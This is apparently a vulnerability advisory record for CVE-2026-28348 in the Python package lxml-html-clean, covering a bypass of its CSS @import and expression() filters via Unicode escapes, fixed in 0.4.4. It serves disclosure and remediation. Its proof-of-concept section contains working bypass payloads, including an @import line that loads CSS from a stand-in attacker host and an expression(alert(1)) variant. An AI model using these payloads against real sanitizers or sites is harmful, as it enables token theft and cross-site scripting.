---
id: CVE-2026-28348
aliases:
  - GHSA-hw26-mmpg-fqfg
  - PYSEC-2026-2201
title: lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
summary: lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
severity: medium
cvss: 6.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'
vendor: lxml-html-clean
product: lxml-html-clean
ecosystem: pip
affected:
  - lxml-html-clean < 0.4.4
patched:
  - lxml-html-clean 0.4.4
published: '2026-03-02'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:39.674211658Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-hw26-mmpg-fqfg'
references:
  - url: >-
      https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-28348'
  - url: >-
      https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b
  - url: 'https://github.com/fedora-python/lxml_html_clean'
tags:
  - osv
  - pip
epss: 0.0028
epssPercentile: 0.18155
ingestedAt: '2026-07-13T18:57:59.524Z'
---

## Overview

### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.

### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace('\\', '')
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.

Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).

### PoC
```python
from lxml_html_clean import clean_html

# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.

### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.

## Affected packages

- `lxml-html-clean < 0.4.4`

## Remediation

Upgrade to a patched release:

- `lxml-html-clean 0.4.4`
